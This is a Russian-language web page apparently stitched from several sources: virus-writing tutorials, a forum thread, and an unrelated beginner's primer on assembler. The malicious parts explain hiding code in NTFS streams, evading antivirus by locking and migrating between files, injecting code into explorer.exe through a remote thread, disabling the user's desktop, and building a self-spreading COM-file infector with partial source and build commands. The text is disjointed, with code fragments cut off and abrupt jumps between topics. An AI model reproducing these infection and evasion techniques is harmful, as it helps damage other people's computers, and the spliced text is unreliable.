Как создать вирус на ассемблере


Пара вступительных слов

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

WARNING

Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more .

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.


Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

flaskatex

Рассмотрим работу простейшего вируса на примере программы, которая внедряет свой код в процесс explorer.exe и запускает его. Внедренный код будит выводить окошко сигнализирующее об успешном внедрении. Программа находит нужный процесс по имени окна, внедряет в него код и запускает его. Рассмотрим алгоритм программы более подробно.

Алгоритм внедрения кода в процесс
1. Найдем нужный процесс по имени окна
Мы будим искать процесс explorer.exe. Для этого воспользуемся функцией FindWindowA.
Данная функция получает дескриптор окна верхнего уровня. Параметрами функции являются указатель на имя класса и указатель на имя окна. В качестве указателя на имя класса передадим ей 'progman', что соответствует explorer.exe, а в качестве указателя на имя окна передадим 0, что соответствует именам всех окон.

NameWindow db 'progman', 0

;Ищем процесс explorer.exe

2. Получим идентификатор потока
Полученный от FindWindowA дескриптор передадим функции GetWindowThreadProcessId. Данная функция возвращает обратно идентификатор потока, который создал окно, идентификатор записывается во второй параметр передаваемый функции.

invoke GetWindowThreadProcessId, eax, ProcessId

3. Откроем поток для работы
Полученный от GetWindowThreadProcessId идентификатор передадим функции OpenProcess, чтобы получить дескриптор заданного процесса. Параметрами передаем уровень доступа к объекту процесса PROCESS_ALL_ACCESS, указываем что дескриптор не может наследоваться и передаем 0, третий параметр идентификатор процесса который открыт. Функция OpenProcess
вернет дескриптор заданного процесса.

invoke OpenProcess, PROCESS_ALL_ACCESS, 0, [ProcessId]
mov [ProcessHandle], eax

4.Выделяем внутри процесса жертвы блок памяти равный размеру внедряемого кода.
Для этого полученный дескриптор от функции OpenProcess передаем в VirtualAllocEx. Функция VirtualAllocEx резервирует или предоставляет физическую память под указанными страницами в виртуальном адресном пространстве указанного процесса. В качестве параметров функция принимает: дескриптор процесса, начальный адрес региона для резервирования памяти, размер региона и способ выделения. Желаемым адресом передадим 0, в этом случае система сама определит, где будит выделен регион памяти. Способ выделения памяти будит комбинацией значений MEM_COMMIT+MEM_RESERVE. MEM_COMMIT п ередает память указанному региону адресного пространства. Память может находиться как непосредственно в оперативной памяти, так и в файле подкачки. Попытка передать памяти диапазону адресов,для которых уже выделена память, не может привести к ошибке. Это значит, что вы можете спокойно получать физическую память под адреса, находящийся в зарезервированном адресном пространстве, не тревожась ни за то, что возникнет ошибка в случае пересекаются указанного диапазона со страницами, которые уже имеют под собой физическую память, ни за то, что содержимое ранее выделенных страниц обнулится. MEM_RESERVE jозначает р езервирование указанного диапазона виртуального адресного пространства процесса без передачи физической памяти. Зарезервированный фрагменты памяти не могут участвовать в дальнейших операциях выделения памяти (например при помощи функций GetMem или LocalAlloc или подобных им) до тех пор пока она не будет освобождена. Физическая память под зарезервированные страницы может быть выделена только при помощи вызова функции VirtualAllocEx. Типом доступа к памяти укажем PAGE_EXECUTE_READ, что предоставляет права чтения памяти и выполнения кода для указанного региона. Попытка записи в страницы указанного региона приведет к нарушению доступа.

5. Записываем внедряемый код в процесс.
Зарезервировав память в виртуальном адресном пространстве процесса, запишем в нее внедряемый код с помощью функции WriteProcessMemory.Параметрами передаем функции дескриптор процесса, память которого мы будим модифицировать; указатель на базовый адрес в заданном процессе (его мы получили от VirtualAllocEx ); указатель на буфер, который содержит записываемые данные в адресном пространстве заданного процесса; число записываемых байт; указатель на переменную, которая получает число записанных байт, зададим его 0.

invoke WriteProcessMemory, [ProcessHandle], [InjectAddr], InjectCode, InjectSize, 0

6. Создаем поток в виртуальном адресном пространстве другого процесса.
Для создания потока выполним функцию CreateRemoteThread. Параметрами передадим ей дескриптор процесса; дескриптор защиты и размер стека зададим по умолчанию 0; указатель на функцию, код которой будит исполняться; аргумент потока, параметры создания и идентификатор потока зададим по умолчанию 0. Теперь наш внедренный код запущен!

invoke CreateRemoteThread, [ProcessHandle], 0 ,0, [InjectAddr], 0,0,0

7. Удаляем дескриптор процесса по закрытию нашей программы.
Выполним функцию CloseHandle, передав ей дескриптор потока. Дескриптор будит удален, при этом внедренный код будит продолжать работать.Это делается для предотвращения утечки памяти и выявления внедренного кода.

Внедряемый код
Разберем теперь внедряемый код.

1. Заголовок или название темы должно быть информативным
2. Все тексты программ должны помещаться в теги [CODE=asm] [/CODE]
3. Прежде чем задавать вопрос, см. "FAQ",если там не нашли ответа, воспользуйтесь ПОИСКОМ, возможно, такую задачу уже решали!
4. Не предлагайте свои решения на других языках, кроме Ассемблера. Исключение только с согласия модератора.
5. НЕ используйте форум для личного общения! Все, что не относиться к обсуждению темы - на PM!
6. Проверяйте программы перед тем, как выложить их на форум!!


От нечего делать решил написать про вирусы! Вот она наболевшая проблема компьютеров! Вирус будет существовать всегда, т.к. желающих портить и ломать софт всегда хватало. Подозреваю что и Ты решил написать что-нибудь подобное(иначе зачем это читать?). Итак кончаем трепаться и перейдем к делу(круто звучит?): писать вирус мы будем на ассемблере, поэтому любители всяких "Дельфи" просьба удалиться, зрелище не для слабонервных(так многим кажется)! Что нам потребуется? Минимально нам потребуется компилятор ассемблера, компоновщик и любой текстовый редактор. Неплохо было бы иметь под рукой отладчик (я использую OllyDbg v1.09) Я рекомендую использовать для компиляции пакет MASM. Он лучше всего подходит для создания Windows приложений. Итак когда все есть можно приступить к делу.
Для данного вируса мне потребуется всего три стандартных функции Win32: ExitProcess из kernel32.dll и EnableWindow и GetClassNameA из user32.dll. Нужно обьявить их в коде:

Возвращаемое значение: Количество скопированых байт в успешном случае, или 0 при ошибке. Подробнее об ошибке можно узнать вызвав GetLastError.
Далее если функция GetClassNameA не дала в результате 0, то мы проверяем является ли класс, находящийся в buffer именно SysListView32. Если мы нашли искомый класс, то можно сделать юзеру пакость. Имея нужный нам хендл (на esi) наши возможности по управлению им (классом) становятся практически неограниченными. Здесь наши пути могут разойтись. Если цель данного вируса - простая шутка, то можно, скажем изменить надпись на элементе управления (если сканировать будете на Button. ) или добавить пару пунктов в SysListView32 или переместить объект по окну или. Еще раз повторю: наши возможности практически неограничены! Все зависит от вашей фантазии. Лично я в этом примере поступлю так: если нахожу SysListView32, то делаю его недоступным, а если не нахожу, то перехожу к следующему хендлу и т.д. Надеюсь до этого все понятно, идем дальше. Сегмент кода:

Далее идет главный участок программы, это цикл, который должен повториться 100000 раз. Почему именно 100000 раз? - Смотрите выше.


  • Затем, теоретически имея на esi хендл мы проверим, является ли данное число искомым классом. Воспользуемся функцией Api GetClassNameA. В результате при удачном выполнении мы получим имя класса в массиве buffer, а если что-то не так, то в результате GetClassName выдаст нам 0.

  • Теперь время фишки: я записую в массив только 4 байта из названия класса. Во-первых так мы добьемся более высокой скорости выполнения, во-вторых я не припоминаю стандартных классов Windows начинающихся с "SysL" кроме SysListView32.

  • Круто! Есть первый кандидат на "затемнение". Чтобы сделать SysListView32 заблокированным вызовем стандартную функцию EnableWindow. По традиции заглянем в MSDN:
  • hWnd - Блокиpуемое или pазблокиpуемое окно.
    Enable - TRUE, для разблокирования. FALSE, для блокировки.

    Возвpащаемое значение:
    Не нуль - в случае успешного завеpшения. 0 - в пpотивном случае.


    Конечно работать без проводника и рабочего стола юзеру будет тяжело . Но еще более осложнить ему жизнь можно поместив нашу програмку в автозагрузку, будет весело! Но уж это сами! Я ни какой ответственности не несу. И вообще я компьютеров побаиваюсь


    23 ответа


    Вирус - это программа, значит его, как и другие программы, можно писать на любом языке программирования.


    Вирус - это программа, значит его, как и другие программы, можно писать на любом языке программирования.


    Но лучше писать на асме, т.к. он должен иметь мелкий размер и вообще, вири на асме писать нааамнОго проще!


    Честно говоря, не вижу прямой связи между размером и использованием ассемблера.


    Говорят, что краткость - сестра таланта. Руководствуясь этим, чуть чуть урежем цитату ув. BioUnit а. Теперь она станет более универсальной:

    ". не вижу прямой связи между размером и использованием . "


    Честно говоря, не вижу прямой связи между размером и использованием ассемблера.

    По-моему это очевидно. А цитата про излишнюю самоуверенность ко всем относится.


    Задали бы мене этот вопрос на рубеже 90х. ROTFL! LMAO! с неделю бы по полу катался 8-]


    По-моему это очевидно. А цитата про излишнюю самоуверенность ко всем относится.

    "В первую очередь следует подвергать сомнению очевидное, аксиомы и константы. "

    И, честно говоря, я не вижу очевидности. Это клише, а не очевидность.


    И, честно говоря, я не вижу очевидности. Это клише, а не очевидность.

    А для того чтобы написать на АСМе такого размера прогу надо два года мучиться баги искать :



    Причем тут язык?
    Причем startup процедуры?


    А чем тебе VC++ не угодил?
    Проблема не в языке и компиляторе, а в кривости рук. Если ты печешься о размере программы, то смею заверить, что на VC++, вполне можно писать программы не более 1кб результирующего файла.
    Может проблема в том, что "вирусы" сейчас пишут все кому не лень, а реальным программистам это уже не интересно?


    См. фразу про руки.
    Языки высокого уровня придумали не для того, чтоб писать программы с большим результирующим файлом, а для удобства программирования.



    Не понял --> мы чем занимаемся сравниваем АСМ с другими на тему размера или .


    Я не знаток MSVC++ и не уверен в том что на нём можно написать прогу меньше 1Кб. Был бы очень признателен если бы меня убедили в обратном. Например - exe,cpp,и bat для сборки. main() вполне достаточно.


    Вот именно для удобства - а за всё как известно платить надо. Поскольку одно и то же действие на АСМе можно сделать по разному, а на ЯВУ пишешь одну коротенькую строчку для этого действия - компилятору самому приходиться выбирать способ реализации. И вот это узкое место.



    Да, но причем startup процедуры?
    Хочешь - пользуйся, а хочешь - нет.


    Я не сказал "меньше" я сказал "не больше". Почувствуйте разницу.
    Что-то мне не верится, что ты используя самый навороченный ассм сможешь написать приложение под Windows меньше 1к, которое загружается стандаотным загрузчиком Докажешь обратное?


    А ты хитрец. :D
    printf - не очень и простой метод, парсинг строки формата вывода, подстановка неопределенного количества аргументов, а потом уж вывод на экран. Не думаю, что это элементарная задача для ассма.
    Кроме того, ты не указал ОС под которой это все должно выполнятся. А соотв. если это Windows, то файл меньшее 1к не получится (заголовок как минимум 512 байт и хотябы одна секция - 512 байт).
    Ну раз так, вот код (test.cpp, Makefile):

    int printf(char* str)
    <
    HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
    DWORD n;
    WriteFile(hStdOut, str, strlen(str), &n, NULL);
    return n;
    >

    # Makefile for test.exe

    CC =cl
    CFLAGS = /O1 /Os /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /Zp1 /W0 /nologo /c /TP

    LINKER = link
    LFLAGS = /INCREMENTAL:NO /NODEFAULTLIB /SUBSYSTEM:CONSOLE LIBC.LIB kernel32.lib /ENTRY:main \
    /MERGE:.rdata=.text /MERGE:.data=.text /FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078

    test.exe: test.obj
    $(LINKER) $(LFLAGS) $* /OUT:$@

    В результате получается файл ровно 1к, но он добит нулями до этого размера.


    Ну если ты пустишь все на самотек, то так оно и выйдет. Но ведь можно разумно управлять процессом компиляции, разумно выбрать и сам компилятор.
    Я бы не стал впрягать сюда Java, т.к. мы говорим о несколько других вещах. Java-компиляторы все же не производят в конечном итоге машинный код в отличие от компиляторов ассеблера и C/C++.

    Но сам ком­пью­тер не пони­ма­ет чело­ве­че­ский язык. Ком­пью­тер — это реги­стры памя­ти, про­стые логи­че­ские опе­ра­ции, еди­ни­цы и нули. Поэто­му преж­де чем ваша про­грам­ма будет испол­не­на про­цес­со­ром, ей нужен пере­вод­чик — про­грам­ма, кото­рая пре­вра­тит высо­ко­уров­не­вый язык про­грам­ми­ро­ва­ния в низ­ко­уров­не­вый машин­ный код.

    Ассем­блер — это соби­ра­тель­ное назва­ние язы­ков низ­ко­го уров­ня: код всё ещё пишет чело­век, но он уже гораз­до бли­же к прин­ци­пам рабо­ты ком­пью­те­ра, чем к прин­ци­пам мыш­ле­ния чело­ве­ка.

    Как мыслит процессор

    Что­бы понять, как рабо­та­ет Ассем­блер и поче­му он рабо­та­ет имен­но так, нам нуж­но немно­го разо­брать­ся с внут­рен­ним устрой­ством про­цес­со­ра.

    Кро­ме того, что про­цес­сор уме­ет выпол­нять мате­ма­ти­че­ские опе­ра­ции, ему нуж­но где-то хра­нить про­ме­жу­точ­ные дан­ные и слу­жеб­ную инфор­ма­цию. Для это­го в самом про­цес­со­ре есть спе­ци­аль­ные ячей­ки памя­ти — их назы­ва­ют реги­стра­ми.

    Реги­стры быва­ют раз­но­го вида и назна­че­ния: одни слу­жат, что­бы хра­нить инфор­ма­цию; дру­гие сооб­ща­ют о состо­я­нии про­цес­со­ра; тре­тьи исполь­зу­ют­ся как нави­га­то­ры, что­бы про­цес­сор знал, куда идти даль­ше, и так далее. Подроб­нее — в рас­хло­пе ↓

    Обще­го назна­че­ния. Это 8 реги­стров, каж­дый из кото­рых может хра­нить все­го 4 бай­та инфор­ма­ции. Такой регистр мож­но раз­де­лить на 2 или 4 части и рабо­тать с ними как с отдель­ны­ми ячей­ка­ми.

    Ука­за­тель команд. В этом реги­стре хра­нит­ся толь­ко адрес сле­ду­ю­щей коман­ды, кото­рую дол­жен выпол­нить про­цес­сор. Вруч­ную его изме­нить нель­зя, но мож­но на него повли­ять раз­лич­ны­ми коман­да­ми пере­хо­дов и про­це­дур.

    Регистр фла­гов. Флаг — какое-то свой­ство про­цес­со­ра. Напри­мер, если уста­нов­лен флаг пере­пол­не­ния, зна­чит про­цес­сор полу­чил в ито­ге такое чис­ло, кото­рое не поме­ща­ет­ся в нуж­ную ячей­ку памя­ти. Он туда кла­дёт то, что поме­ща­ет­ся, и ста­вит в этот флаг циф­ру 1. Она — сиг­нал про­грам­ми­сту, что что-то пошло не так.

    Фла­гов в про­цес­со­ре мно­го, какие-то мож­но менять вруч­ную, и они будут вли­ять на вычис­ле­ния, а какие-то мож­но про­сто смот­реть и делать выво­ды. Фла­ги — как сиг­наль­ные лам­пы на пане­ли при­бо­ров в само­лё­те. Они что-то озна­ча­ют, но толь­ко само­лёт и пилот зна­ют, что имен­но.

    Сег­мент­ные реги­стры. Нуж­ны были для того, что­бы рабо­тать с опе­ра­тив­ной памя­тью и полу­чать доступ к любой ячей­ке. Сей­час такие реги­стры име­ют по 32 бита, и это­го доста­точ­но, что­бы полу­чить 4 гига­бай­та опе­ра­тив­ки. Для про­грам­мы на Ассем­бле­ре это­го обыч­но хва­та­ет.

    Так вот: всё, с чем рабо­та­ет Ассем­блер, — это коман­ды про­цес­со­ра, пере­мен­ные и реги­стры.

    Здесь нет при­выч­ных типов дан­ных — у нас есть толь­ко бай­ты памя­ти, в кото­рых мож­но хра­нить что угод­но. Даже если вы поме­сти­те в ячей­ку какой-то сим­вол, а потом захо­ти­те рабо­тать с ним как с чис­лом — у вас полу­чит­ся. А вме­сто при­выч­ных цик­лов мож­но про­сто прыг­нуть в нуж­ное место кода.

    Команды Ассемблера

    Каж­дая коман­да Ассем­бле­ра — это коман­да для про­цес­со­ра. Не опе­ра­ци­он­ной систе­ме, не фай­ло­вой систе­ме, а имен­но про­цес­со­ру — то есть в самый низ­кий уро­вень, до кото­ро­го может дотя­нуть­ся про­грам­мист.

    Любая коман­да на этом язы­ке выгля­дит так:

    Мет­ка — это имя для фраг­мен­та кода. Напри­мер, вы хоти­те отдель­но поме­тить место, где начи­на­ет­ся рабо­та с жёст­ким дис­ком, что­бы было лег­че читать код. Ещё мет­ка нуж­на, что­бы в дру­гом участ­ке про­грам­мы мож­но было напи­сать её имя и сра­зу пере­прыг­нуть к нуж­но­му кус­ку кода.

    Коман­да — слу­жеб­ное сло­во для про­цес­со­ра, кото­рое он дол­жен выпол­нить. Спе­ци­аль­ные ком­пи­ля­то­ры пере­во­дят такие коман­ды в машин­ный код. Это сде­ла­но для того, что­бы не запо­ми­нать сами машин­ные коман­ды, а исполь­зо­вать вме­сто них какие-то бук­вен­ные обо­зна­че­ния, кото­рые про­ще запом­нить. В этом, соб­ствен­но, и выра­жа­ет­ся чело­веч­ность Ассем­бле­ра: коман­ды в нём хотя бы отда­лён­но напо­ми­на­ют чело­ве­че­ские сло­ва.

    Опе­ран­ды отве­ча­ют за то, что имен­но будут делать коман­ды: какие ячей­ки брать для вычис­ле­ний, куда поме­щать резуль­тат и что сде­лать с ним допол­ни­тель­но. Опе­ран­дом могут быть назва­ния реги­стров, ячей­ки памя­ти или слу­жеб­ные части команд.

    Ком­мен­та­рий — это про­сто пояс­не­ние к коду. Его мож­но писать на любом язы­ке, и на выпол­не­ние про­грам­мы он не вли­я­ет. При­ме­ры команд:

    mov eax, ebx ; Пересылаем значение регистра EBX в регистр EAX

    mov x, 0 ; Записываем в переменную x значение 0

    add eax, х ; Складываем значение регистра ЕАХ и переменной х, результат отправится в регистр ЕАХ

    Здесь нет меток, пер­вы­ми идут коман­ды (mov или add), а за ними — опе­ран­ды и ком­мен­та­рии.

    Пример: возвести число в куб

    Если нам пона­до­бит­ся вычис­лить х³, где х зани­ма­ет ров­но один байт, то на Ассем­бле­ре это будет выгля­деть так.

    Пер­вый вари­ант

    mov al, x ; Пересылаем x в регистр AL

    imul al ; Умножаем регистр AL на себя, AX = x * x

    movsx bx, x ; Пересылаем x в регистр BX со знаковым расширением

    imul bx ; Умножаем AX на BX. Результат разместится в DX:AX

    Вто­рой вари­ант

    mov al, x ; Пересылаем x в регистр AL

    imul al ; Умножаем регистр AL на себя, AX = x * x

    cwde ; Расширяем AX до EAX

    movsx ebx, x ; Пересылаем x в регистр EBX со знаковым расширением

    imul ebx ; Умножаем EAX на EBX. Поскольку x – 1-байтовая переменная, результат благополучно помещается в EAX

    На любом высо­ко­уров­не­вом язы­ке воз­ве­сти чис­ло в куб мож­но одной стро­кой. Напри­мер:

    x = Math.pow(x,3);
    x := exp(ln(x) * 3);
    на худой конец x = x*x*x.

    Хит­рость в том, что когда каж­дая из этих строк будет све­де­на к машин­но­му коду, это­го кода может быть и 5 команд, и 10, и 50, и даже 100. Чего сто­ит вызов объ­ек­та Math и его мето­да pow: толь­ко на эту слу­жеб­ную опе­ра­цию (ещё до само­го воз­ве­де­ния в куб) может уйти несколь­ко сотен и даже тысяч машин­ных команд.

    А на Ассем­бле­ре это гаран­ти­ро­ван­но пять команд. Ну, или как реа­ли­зу­е­те.

    Почему это круто

    Ассем­блер поз­во­ля­ет рабо­тать с про­цес­со­ром и памя­тью напря­мую — и делать это очень быст­ро. Дело в том, что в Ассем­бле­ре почти не тра­тит­ся зря про­цес­сор­ное вре­мя. Если про­цес­сор рабо­та­ет на часто­те 3 гига­гер­ца — а это при­мер­но 3 мил­ли­ар­да про­цес­сор­ных команд в секун­ду, — то очень хоро­ший код на Ассем­бле­ре будет выпол­нять при­мер­но 2,5 мил­ли­ар­да команд в секун­ду. Для срав­не­ния, JavaScript или Python выпол­нят в тыся­чу раз мень­ше команд за то же вре­мя.

    Ещё про­грам­мы на Ассем­бле­ре зани­ма­ют очень мало места в памя­ти. Имен­но поэто­му на этом язы­ке пишут драй­ве­ры, кото­рые встра­и­ва­ют пря­мо в устрой­ства, или управ­ля­ю­щие про­грам­мы, кото­рые зани­ма­ют несколь­ко кило­байт. Напри­мер, про­грам­ма, кото­рая нахо­дит­ся в бре­ло­ке сиг­на­ли­за­ции и управ­ля­ет без­опас­но­стью всей маши­ны, зани­ма­ет все­го пару десят­ков кило­байт. А всё пото­му, что она напи­са­на для кон­крет­но­го про­цес­со­ра и исполь­зу­ет его воз­мож­но­сти на сто про­цен­тов.

    Спра­вед­ли­во­сти ради отме­тим, что совре­мен­ные ком­пи­ля­то­ры С++ дают машин­ный код, близ­кий по быст­ро­дей­ствию к Ассем­бле­ру, но всё рав­но немно­го усту­па­ют ему.

    Почему это сложно

    Для того, что­бы писать про­грам­мы на Ассем­бле­ре, нуж­но очень любить крем­ний:

    • пони­мать архи­тек­ту­ру про­цес­со­ра;
    • знать устрой­ство желе­за, кото­рое рабо­та­ет с этим про­цес­со­ром;
    • знать все коман­ды, кото­рые отно­сят­ся имен­но к это­му типу про­цес­со­ров;
    • уметь рабо­тать с дан­ны­ми в побай­то­вом режи­ме (забудь­те о стро­ках и мас­си­вах, ведь ваш мак­си­мум — это одна бук­ва);
    • пони­мать, как в огра­ни­чен­ных усло­ви­ях реа­ли­зо­вать нуж­ную функ­ци­о­наль­ность.

    Теперь добавь­те к это­му отсут­ствие боль­шин­ства при­выч­ных биб­лио­тек для рабо­ты с чем угод­но, слож­ность чте­ния тек­ста про­грам­мы, мед­лен­ную ско­рость раз­ра­бот­ки — и вы полу­чи­те пол­ное пред­став­ле­ние о про­грам­ми­ро­ва­нии на Ассем­бле­ре.

    Для чего всё это

    Ассем­блер неза­ме­ним в таких вещах:

    • драй­ве­ры;
    • про­грам­ми­ро­ва­ние мик­ро­кон­трол­ле­ров и встра­и­ва­е­мых про­цес­со­ров;
    • кус­ки опе­ра­ци­он­ных систем, где важ­но обес­пе­чить ско­рость рабо­ты;
    • анти­ви­ру­сы (и виру­сы).

    На самом деле на Ассем­бле­ре мож­но даже запи­лить свой сайт с фору­мом, если у про­грам­ми­ста хва­та­ет ква­ли­фи­ка­ции. Но чаще все­го Ассем­блер исполь­зу­ют там, где даже ско­ро­сти и воз­мож­но­стей C++ недо­ста­точ­но.

    В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.

    После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.

    Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

    ;Ищем первый файл по шаблону имени

    mov dx,offset fname – offset myself

    Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

    ;Если при открытии файла ошибок не произошло,

    ;переходим к чтению, иначе выходим из вируса

    ;Читаем первый байт файла

    mov dx,offset buf–offset myself

    inc cx ;(увеличение на 1) CX=1

    ;Сравниваем. Если первый байт файла

    ;не E9h, то переходим к поиску следующего

    ;файла – этот для заражения не подходит

    cmp byte ptr [bp+(offset buf–offset myself)],0E9h

    Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:

    ;Переходим в конец файла (на последний байт)

    mov dx,[bp+(offset flen?offset MySelf)]

    ;Читаем сигнатуру вируса

    mov dx,offset bytik–offset myself

    ;Если при чтении файла ошибок не произошло,

    ;иначе ищем следующий файл

    cmp byte ptr [bp+(offset bytik?offset myself)],CheckByte

    ;Если сигнатура есть, то ищем другой файл,

    ;если ее нет – будем заражать

    Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

    ;Переходим в конец файла

    ;Устанавливаем регистр DS на сегмент кода

    ;Копируем вирус в файл

    mov cx,offset VirEnd–offset la

    sub dx,offset myself?offset la

    ;Записываем в начало файла переход на тело вируса

    ;Переходим в начало файла

    ;Записываем первые три байта файла (переход на тело вируса)

    mov dx,offset jmpvir–offset myself

    После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю. Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

    tasm.exe leo.asm tlink leo.obj/t

    В итоге получился файл LEO.COM, содержащий готовый COM-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других COM-файлов. После запуска LEO.COM вирус внедрится во все остальные COM-файлы. Не стоит бояться, что будет заражен сразу весь компьютер – вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:

    .286 ;Устанавливаем тип процессора

    CheckByte equ 0F0h

    ;Указываем, что регистры CS и DS содержат

    ;адрес сегмента кода программы

    assume cs:code, ds:code

    ;Начало сегмента кода. В конце программы сегмент кода нужно

    ;закрыть – ”code ends”

    ;Устанавливаем смещения в сегменте кода.

    ;Данная строчка обязательна

    ;для COM?программы (все COM?программы

    ;начинаются с адреса 100h)

    ;Имитируем зараженный COM?файл.

    ;Тело вируса начинается с метки la

    db 0E9h ;Код команды JMP

    dw offset la–offset real

    ;Выходим из программы

    ;Здесь начинается тело вируса

    ;Сохраняем регистры и флаги

    ;Получаем точку входа.

    ;Для этого вызываем подпрограмму (следующий

    ;за вызовом адрес) и читаем из стека адрес возврата

    ;Восстанавливаем первые три байта исходной программы

    mov al,[bp+(offset bytes_3[0]–offset MySelf)]

    mov byte ptr cs:[100h],al

    mov al,[bp+(offset bytes_3[1]–offset MySelf)]

    mov byte ptr cs:[101h],al

    mov al,[bp+(offset bytes_3[2]–offset MySelf)]

    mov byte ptr cs:[102h],al

    ;Дальнейшая задача вируса – найти новую жертву.

    ;Для этого используется функция 4Eh (Найти первый файл).

    ;Ищем файл с любыми атрибутами

    ;Ищем первый файл по шаблону имени

    mov dx,offset fname–offset myself

    ;Если файл найден – переходим к смене атрибутов, иначе выходим

    ;из вируса (здесь нет подходящих для заражения файлов)

    ;Читаем оригинальные атрибуты файла

    mov dx,9Eh ;Адрес имени файла

    ;Сохраняем оригинальные атрибуты файла

    ;Устанавливаем новые атрибуты файла

    mov dx,9Eh ;Адрес имени файла

    ;Переходим к открытию файла

    ;Ищем следующий файл, так как предыдущий не подходит

    ;Восстанавливаем оригинальные атрибуты файла

    mov dx,9Eh ;Адрес имени файла

    ;Ищем следующий файл

    ;Если файл найден – переходим к смене атрибутов, иначе выходим

    ;из вируса (здесь нет подходящих для заражения файлов)

    ;Если при открытии файла ошибок не произошло –

    ;переходим к чтению, иначе выходим из вируса

    ;Читаем первый байт файла

    mov dx,offset buf–offset myself

    inc cx ;(увеличение на 1) CX=1

    ;Сравниваем. Если первый байт файла

    ;не E9h, то переходим к поиску следующего файла –

    ;этот для заражения не подходит

    cmp byte ptr [bp+(offset buf–offset myself)],0E9h

    ;Переходим в начало файла

    ;Читаем первые три байта файла в тело вируса

    mov dx,offset bytes_3–offset myself

